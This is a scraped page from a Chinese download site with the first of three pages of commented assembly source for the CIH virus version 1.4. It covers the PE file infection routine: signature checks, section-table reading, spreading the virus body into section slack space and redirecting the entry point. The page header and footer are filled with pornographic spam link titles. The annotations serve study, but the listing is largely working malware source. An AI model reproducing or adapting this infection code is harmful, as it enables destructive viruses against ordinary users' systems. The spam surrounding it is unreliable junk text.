亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? _cih病毒1.4版本之中文注釋.txt

?? 匯編格式的CIH病毒的源碼分析文件,包括1.1-1.4版本,通過對(duì)此病毒的分析,可以對(duì)WINDOWS系統(tǒng)有更深入的了解
?? TXT
?? 第 1 頁 / 共 3 頁
字號(hào):
mov eax, ebp ;功能號(hào) 
call edi ; VXDCall IFSMgr_Ring0_FileIO ;讀文件到esi 

; *************************** 
; * Is PE !? * 
; *************************** 
; * Is the File * 
; * Already Infected !? * 
; *************************** 
; * WinZip Self-Extractor * 
; * doesn't Have Infected * 
; * Mark Because My Virus * 
; * doesn't Infect it. * 
; *************************** 

; cmp [esi], '\0PE\0' 
cmp dword ptr [esi], 00455000h ;判斷是否是PE文件(標(biāo)志"PE\0\0") 
jne CloseFile ;不是就關(guān)閉文件 

; ************************************* 
; * The File is ^o^ * 
; * PE(Portable Executable) indeed. * 
; ************************************* 
; * The File isn't also Infected. * 
; ************************************* 

; ************************************* 
; * Start to Infect the File * 
; ************************************* 
; * Registers Use Status Now : * 
; * * 
; * EAX = 04h * 
; * EBX = File Handle * 
; * ECX = 04h * 
; * EDX = 'PE\0\0' Signature of * 
; * ImageFileHeader Pointer's * 
; * Former Byte. * 
; * ESI = DataBuffer Address ==> @8 * 
; * EDI = IFSMgr_Ring0_FileIO Address * 
; * EBP = D600h ==> Read Data in File * 
; ************************************* 
; * Stack Dump : * 
; * * 
; * ESP => ------------------------- * 
; * | EFLAG(CF=0) | * 
; * ------------------------- * 
; * | FileNameBufferPointer | * 
; * ------------------------- * 
; * | EDI | * 
; * ------------------------- * 
; * | ESI | * 
; * ------------------------- * 
; * | EBP | * 
; * ------------------------- * 
; * | ESP | * 
; * ------------------------- * 
; * | EBX | * 
; * ------------------------- * 
; * | EDX | * 
; * ------------------------- * 
; * | ECX | * 
; * ------------------------- * 
; * | EAX | * 
; * ------------------------- * 
; * | Return Address | * 
; * ------------------------- * 
; ************************************* 

push ebx ; Save File Handle ;保存文件句柄 

push 00h ; Set VirusCodeSectionTableEndMark 

; *************************** 
; * Let's Set the * 
; * Virus' Infected Mark * 
; *************************** 

push 01h ; Size 
push edx ; Pointer of File ;edx指向PE文件頭偏移00h 
push edi ; Address of Buffer ;edi為IFSMgr_Ring0_FileIO的地址(原注釋有誤) 

; *************************** 
; * Save ESP Register * 
; *************************** 

mov dr1, esp 

; *************************** 
; * Let's Set the * 
; * NewAddressOfEntryPoint * 
; * ( Only First Set Size ) * 
; *************************** 

push eax ; Size 

; *************************** 
; * Let's Read * 
; * Image Header in File * 
; *************************** 

mov eax, ebp 
mov cl, SizeOfImageHeaderToRead ;要讀2個(gè)字節(jié)(WORD NumberOfSections) 
add edx, 07h ; Move EDX to NumberOfSections ;PE文件頭+07h為NumberOfSections(塊個(gè)數(shù)) 
call edi ; VXDCall IFSMgr_Ring0_FileIO ;讀出NumberOfSections(塊個(gè)數(shù))到esi 

; *************************** 
; * Let's Set the * 
; * NewAddressOfEntryPoint * 
; * ( Set Pointer of File, * 
; * Address of Buffer ) * 
; *************************** 

lea eax, (AddressOfEntryPoint-@8)[edx] 
push eax ; Pointer of File 

lea eax, (NewAddressOfEntryPoint-@8)[esi] 
push eax ; Address of Buffer 

; *************************** 
; * Move EDX to the Start * 
; * of SectionTable in File * 
; *************************** 

movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi] 
lea edx, [eax+edx+12h] ;edx為SectionTable的偏移 

; *************************** 
; * Let's Get * 
; * Total Size of Sections * 
; *************************** 

mov al, SizeOfScetionTable ;每個(gè)塊表項(xiàng)(ScetionTable)的大小(字節(jié)) 

; I Assume NumberOfSections <= 0ffh 
mov cl, (NumberOfSections-@8)[esi] 

mul cl ;每個(gè)塊表項(xiàng)乘以塊個(gè)數(shù)=塊表大小 

; *************************** 
; * Let's Set Section Table * 
; *************************** 

; Move ESI to the Start of SectionTable 
lea esi, (StartOfSectionTable-@8)[esi] ;esi指向塊表首址(在病毒動(dòng)態(tài)數(shù)據(jù)區(qū)中) 

push eax ; Size ;塊表大小 
push edx ; Pointer of File ;edx為SectionTable的偏移 
push esi ; Address of Buffer ; 

; *************************** 
; * The Code Size of Merge * 
; * Virus Code Section and * 
; * Total Size of Virus * 
; * Code Section Table Must * 
; * be Small or Equal the * 
; * Unused Space Size of * 
; * Following Section Table * 
; *************************** 

inc ecx 
push ecx ; Save NumberOfSections+1 

shl ecx, 03h ;*8 
push ecx ; Save TotalSizeOfVirusCodeSectionTable ;預(yù)留病毒塊表空間 

add ecx, eax 
add ecx, edx ;ecx+文件的正文的偏移 

sub ecx, (SizeOfHeaders-@9)[esi] 
not ecx 
inc ecx ;求補(bǔ) 
;ecx為文件頭大小-正文的偏移=未用空間 
; Save My Virus First Section Code 
; Size of Following Section Table... 
; ( Not Include the Size of Virus Code Section Table ) 
push ecx 

xchg ecx, eax ; ECX = Size of Section Table ;ecx為塊表大小 

; Save Original Address of Entry Point 
mov eax, (AddressOfEntryPoint-@9)[esi] ;入口RVA地址 
add eax, (ImageBase-@9)[esi] ;裝入基址 
mov (OriginalAddressOfEntryPoint-@9)[esi], eax ;保存裝入后實(shí)際的入口地址 

cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection ;未用空間和病毒第一塊大小比較
jl OnlySetInfectedMark ;小于就只設(shè)感染標(biāo)志

; *************************** 
; * Read All Section Tables * 
; *************************** 

mov eax, ebp ;讀的功能號(hào) 
call edi ; VXDCall IFSMgr_Ring0_FileIO ;讀塊表到esi(@9處) 

; *************************** 
; * Full Modify the Bug : * 
; * WinZip Self-Extractor * 
; * Occurs Error... * 
; *************************** 
; * So When User Opens * 
; * WinZip Self-Extractor, * 
; * Virus Doesn't Infect it.* 
; *************************** 
; * First, Virus Gets the * 
; * PointerToRawData in the * 
; * Second Section Table, * 
; * Reads the Section Data, * 
; * and Tests the String of * 
; * 'WinZip(R)'...... * 
; *************************** 

xchg eax, ebp 

push 00000004h 
pop ecx ;讀4字節(jié) 

push edx 
mov edx, (SizeOfScetionTable+PointerToRawData-@9)[ebx] ;edx為第二塊的偏移(.rdata) 

add edx, 12h ;加10h+2h(10h處為"WinZip....") 

call edi ; VXDCall IFSMgr_Ring0_FileIO ;讀4字節(jié)到esi 

; cmp [esi], 'nZip' 
cmp dword ptr [esi], 'piZn' ;判斷是否是WinZip自解壓文件 
je NotSetInfectedMark ;是就不設(shè)置感染標(biāo)志 

pop edx ;edx指向塊表在文件中首址 

; *************************** 
; * Let's Set Total Virus * 
; * Code Section Table * 
; *************************** 

; EBX = My Virus First Section Code 
; Size of Following Section Table 
pop ebx ; 未用空間大小 
pop edi ; EDI = TotalSizeOfVirusCodeSectionTabl 
pop ecx ; ECX = NumberOfSections+1 

push edi ; Size 

add edx, ebp ; ebp為塊表大小 
push edx ; Pointer of File ;指向塊表后(第一塊) 

add ebp, esi ; ebp指向病毒數(shù)據(jù)區(qū)的塊表后(第一塊) 
push ebp ; Address of Buffer 

; *************************** 
; * Set the First Virus * 
; * Code Section Size in * 
; * VirusCodeSectionTable * 
; *************************** 

lea eax, [ebp+edi-04h] 
mov [eax], ebx ;設(shè)置病毒代碼第一塊的大小(未用空間大小)到病毒塊表 

; *************************** 
; * Let's Set My Virus * 
; * First Section Code * 
; *************************** 

push ebx ; Size ;病毒代碼第一塊的大小(未用空間大小) 

add edx, edi 
push edx ; Pointer of File ;指向塊表后(第一塊)+Size??=病毒正文(病毒開始處) 

lea edi, (MyVirusStart-@9)[esi] 
push edi ; Address of Buffer ;指向病毒開始處 

; *************************** 
; * Let's Modify the * 
; * AddressOfEntryPoint to * 
; * My Virus Entry Point * 
; *************************** 

mov (NewAddressOfEntryPoint-@9)[esi], edx ;保存新的程序入口(病毒正文) 

; *************************** 
; * Setup Initial Data * 
; *************************** 

lea edx, [esi-SizeOfScetionTable] ;edx先減一項(xiàng)塊表長度,以配合下面的"助標(biāo)1"
mov ebp, offset VirusSize ;ebp為病毒長度 

jmp StartToWriteCodeToSections 

; *************************** 
; * Write Code to Sections * 
; *************************** 

LoopOfWriteCodeToSections: 
  
add edx, SizeOfScetionTable ;助標(biāo)1: 
;指向下一塊表項(xiàng) 
mov ebx, (SizeOfRawData-@9)[edx] ;ebx為該塊表項(xiàng)的SizeOfRawData(塊大小) 
sub ebx, (VirtualSize-@9)[edx] ;減去VirtualSize=該塊未用空間 
jbe EndOfWriteCodeToSections 

push ebx ; Size 

sub eax, 08h 
mov [eax], ebx ;寫入病毒塊表 

mov ebx, (PointerToRawData-@9)[edx] ;ebx為塊的物理(實(shí)際)偏移? 
add ebx, (VirtualSize-@9)[edx] ;加上VirtualSize 
push ebx ; Pointer of File ;ebx指向該塊未用空間的文件指針 

push edi ; Address of Buffer 

mov ebx, (VirtualSize-@9)[edx] 
add ebx, (VirtualAddress-@9)[edx] 
add ebx, (ImageBase-@9)[esi] ;ebx為該塊裝入后的實(shí)際地址 
mov [eax+4], ebx ;保存到病毒塊表中 

mov ebx, [eax] ;該塊未用空間大小 
add (VirtualSize-@9)[edx], ebx ;加到該塊表項(xiàng)的VirtualSize

; Section contains initialized data ==> 00000040h 
; Section can be Read. ==> 40000000h 
or (Characteristics-@9)[edx], 40000040h ;改該塊表項(xiàng)的塊屬性(改為可讀,并包含初始化數(shù)據(jù)) 

StartToWriteCodeToSections: 

sub ebp, ebx ;病毒大小-病毒塊大小 
jbe SetVirusCodeSectionTableEndMark ;如果小于(病毒插入完畢)就設(shè)置病毒塊表結(jié)束符

add edi, ebx ; Move Address of Buffer ;指向病毒下一塊 

EndOfWriteCodeToSections: 

loop LoopOfWriteCodeToSections 

; *************************** 
; * Only Set Infected Mark * 
; *************************** 

OnlySetInfectedMark: 
mov esp, dr1 ;只設(shè)置感染標(biāo)志 

jmp WriteVirusCodeToFile ;跳到寫病毒到要傳染的文件的程序 

; *************************** 
;  

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號(hào) Ctrl + =
減小字號(hào) Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲免费电影在线| 欧美视频一二三区| 成人综合在线视频| 国产成人精品综合在线观看| 国模无码大尺度一区二区三区| 天堂av在线一区| 日本人妖一区二区| 免播放器亚洲一区| 精品一区二区三区不卡| 国产老女人精品毛片久久| 国产成人精品亚洲777人妖| 国产成人超碰人人澡人人澡| 国产很黄免费观看久久| 粉嫩嫩av羞羞动漫久久久| 99久久精品国产精品久久| 色一区在线观看| 欧美精品久久99| 欧美电影免费提供在线观看| 久久一二三国产| 国产精品久久看| 一区二区三区日韩欧美| 成人av免费网站| 99热这里都是精品| 欧美视频中文字幕| 91精选在线观看| 久久女同性恋中文字幕| 国产精品伦一区二区三级视频| 亚洲精品高清视频在线观看| 视频一区免费在线观看| 国内精品国产成人国产三级粉色 | 亚洲女同一区二区| 夜夜爽夜夜爽精品视频| 免费在线观看一区| 国产成人免费xxxxxxxx| 色婷婷综合五月| 精品国产乱码久久久久久免费| 国产女人aaa级久久久级| 亚洲精品一二三| 奇米精品一区二区三区四区| 国产91丝袜在线18| 欧美中文字幕亚洲一区二区va在线| 在线播放91灌醉迷j高跟美女| 精品国产乱码久久久久久久| 1024亚洲合集| 蜜臀久久99精品久久久画质超高清| 国产一区三区三区| 欧美性受极品xxxx喷水| 精品国产三级a在线观看| 亚洲乱码国产乱码精品精98午夜| 蜜桃免费网站一区二区三区| www.亚洲免费av| 91精品国产综合久久久久久久久久| 久久精品男人天堂av| 亚洲午夜视频在线| 国产成人精品综合在线观看| 欧美高清一级片在线| 欧美国产一区二区| 日韩国产欧美在线观看| 99九九99九九九视频精品| 欧美不卡一区二区三区四区| 亚洲区小说区图片区qvod| 蓝色福利精品导航| 在线视频观看一区| 国产亚洲欧洲997久久综合 | 三级欧美韩日大片在线看| 国产99久久久国产精品潘金| 欧美精品三级日韩久久| 亚洲欧美日韩国产一区二区三区 | 日韩一二三区不卡| 一区二区三区在线观看国产 | 日韩欧美区一区二| 一区二区三区成人在线视频| 国产成人av电影在线| 欧美一卡在线观看| 亚洲综合久久久久| 国产伦精品一区二区三区免费| 欧美日韩成人综合| 亚洲欧美激情小说另类| 成人精品高清在线| 欧美精品一区二区三区蜜臀| 日韩电影在线看| 色播五月激情综合网| 国产精品久久久久国产精品日日| 久久国内精品视频| 91精品国产免费| 亚洲午夜久久久久久久久久久| 91毛片在线观看| 国产精品成人一区二区艾草 | 欧美日韩国产123区| 亚洲精品高清在线| 91麻豆自制传媒国产之光| 亚洲国产精品传媒在线观看| 国产一区二区按摩在线观看| 日韩免费观看高清完整版| 视频一区国产视频| 欧美久久久久中文字幕| 五月婷婷激情综合网| 欧美日韩卡一卡二| 亚洲成年人影院| 欧美日韩一区二区三区四区五区| 亚洲黄色av一区| 欧美性受xxxx黑人xyx| 亚洲一级电影视频| 欧美综合视频在线观看| 亚洲第一主播视频| 精品婷婷伊人一区三区三| 亚洲一区视频在线观看视频| 欧美在线短视频| 午夜精品一区二区三区免费视频| 在线观看视频一区| 亚洲第一二三四区| 欧美亚洲综合久久| 三级欧美在线一区| 欧美一区二区三区不卡| 麻豆精品久久精品色综合| 精品美女一区二区| 丁香啪啪综合成人亚洲小说 | 国产成人在线视频网址| 国产精品国产三级国产aⅴ原创 | 欧美日韩一区二区不卡| 亚洲超碰精品一区二区| 91精品国产综合久久久蜜臀图片| 久久成人免费网| 国产丝袜在线精品| aaa国产一区| 天堂va蜜桃一区二区三区漫画版| 日韩免费性生活视频播放| 国产精品99久| ...xxx性欧美| 欧美日本一区二区在线观看| 免费人成在线不卡| 久久久亚洲综合| 97精品国产露脸对白| 亚洲国产精品视频| 欧美精品一区男女天堂| 北岛玲一区二区三区四区| 亚洲一区二区三区在线看| 制服丝袜在线91| 丁香桃色午夜亚洲一区二区三区| 一个色在线综合| 日韩免费视频线观看| 97久久精品人人做人人爽| 亚洲电影视频在线| 久久综合色8888| 一本一道综合狠狠老| 欧美96一区二区免费视频| 中文字幕国产精品一区二区| 欧美情侣在线播放| 国产成人aaa| 午夜精彩视频在线观看不卡| 久久久精品天堂| 欧美精选一区二区| 成人成人成人在线视频| 偷拍一区二区三区| 中文字幕免费不卡| 欧美高清激情brazzers| 成人高清视频免费观看| 亚洲成a人片在线观看中文| 久久精品人人做人人综合| 欧美中文字幕亚洲一区二区va在线| 国产在线精品免费| 亚欧色一区w666天堂| 国产精品免费视频观看| 91精品欧美久久久久久动漫| av不卡一区二区三区| 黑人精品欧美一区二区蜜桃| 亚洲一卡二卡三卡四卡无卡久久| 国产偷国产偷亚洲高清人白洁| 欧美日韩国产系列| 波多野洁衣一区| 国产精品自拍三区| 天天色天天爱天天射综合| 18欧美乱大交hd1984| ww久久中文字幕| 91精品国产综合久久久蜜臀粉嫩| 一本大道久久a久久精二百| 成人综合婷婷国产精品久久蜜臀| 青草国产精品久久久久久| 一区二区三区国产精华| 国产精品久久久久毛片软件| 26uuu亚洲婷婷狠狠天堂| 欧美日韩国产三级| 色av一区二区| av在线不卡观看免费观看| 国产一区二区0| 精品一二三四区| 日本不卡一二三区黄网| 亚洲国产一区二区在线播放| 国产精品嫩草久久久久| 欧美极品aⅴ影院| 精品91自产拍在线观看一区| 67194成人在线观看| 精品视频在线看| 在线免费亚洲电影| 色成人在线视频| 欧洲精品中文字幕| 色94色欧美sute亚洲线路一久| 丁香一区二区三区| 粉嫩绯色av一区二区在线观看| 国产精品99久久久久|